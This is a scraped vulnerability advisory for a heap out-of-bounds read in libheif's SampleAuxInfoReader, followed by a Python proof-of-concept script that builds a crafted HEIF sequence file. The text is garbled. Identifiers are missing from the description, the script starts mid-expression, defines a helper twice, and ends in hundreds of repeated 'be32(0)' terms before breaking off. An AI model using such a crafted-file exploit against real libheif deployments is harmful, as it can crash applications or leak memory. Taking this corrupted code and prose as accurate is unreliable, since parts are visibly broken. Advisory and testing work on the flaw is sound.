libheif Heap OOB Read in SampleAuxInfoReader (CVE-2026-41071)

Vulnerability Overview Title: Heap buffer over-read in SampleAuxInfoReader via crafted HEIF sequence file with mismatched saiz sample count Description: A crafted HEIF sequence file where the box declares a sample count greater than the actual number of samples present in the track's chunk table, leading to a heap buffer over-read (out-of-bounds read) in the constructor. Affected Components: Library: libheif File: libheif/sequences/track.cc Function: Line Numbers: 139-141 Root Cause: The constructor iterates over samples (line 137) but does not verify that this count matches the number of chunks in the vector. When the -declared sample count exceeds the number of chunks, the loop increments beyond , resulting in an out-of-bounds read of the vector. Specifically at lines 139-141: The at line 141 is compiled out in release builds via , allowing the out-of-bounds access to occur silently. The sample count is not validated against the / sample counts or the actual number of chunks. The only existing checks are between and (lines 324-329) and between chunk count and chunk count (lines 437-443); however, the sample count is not cross-checked against any of these. Impact Scope Severity: Moderate CVE ID: CVE-2026-41071 Weakness: CWE-125 Impact: Heap buffer over-read (potential information disclosure and denial of service via crash). The vulnerability is triggered during file parsing ( ) and requires no additional user interaction. Any application using libheif to open untrusted HEIF files is affected. Affected Versions: I", 8 + len(data)) + t + data def fullbox(t, version, flags, data): return box(t, bytes([version]) + flags.to_bytes(3, "big") + data) def be32(x): return struct.pack(">I", x) def be32(x): return struct.pack(">I", x) def be64(x): return struct.pack(">Q", x) def be16(x): return struct.pack(">H", x) ftyp = box(b"ftyp", b"miso" + be32(0) + b"miso0200") mhdr = fullbox(b"mhdr", 0, 0, be32(0) + be32(0) + be32(1000) + be32(1000) + be32(0x69696969) + be32(0x696969) + b"\x00\x00\x00\x00") tkhd = fullbox(b"tkhd", 0, 0, be32(0) + be32(0) + be32(1) + be32(1) + be32(1000) + be32(1000) + b"\x00\x00" + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0) + be32(0)

Goal Reached Thanks to every supporter — we hit 100%!

libheif Heap OOB Read in SampleAuxInfoReader (CVE-2026-41071)

More from this source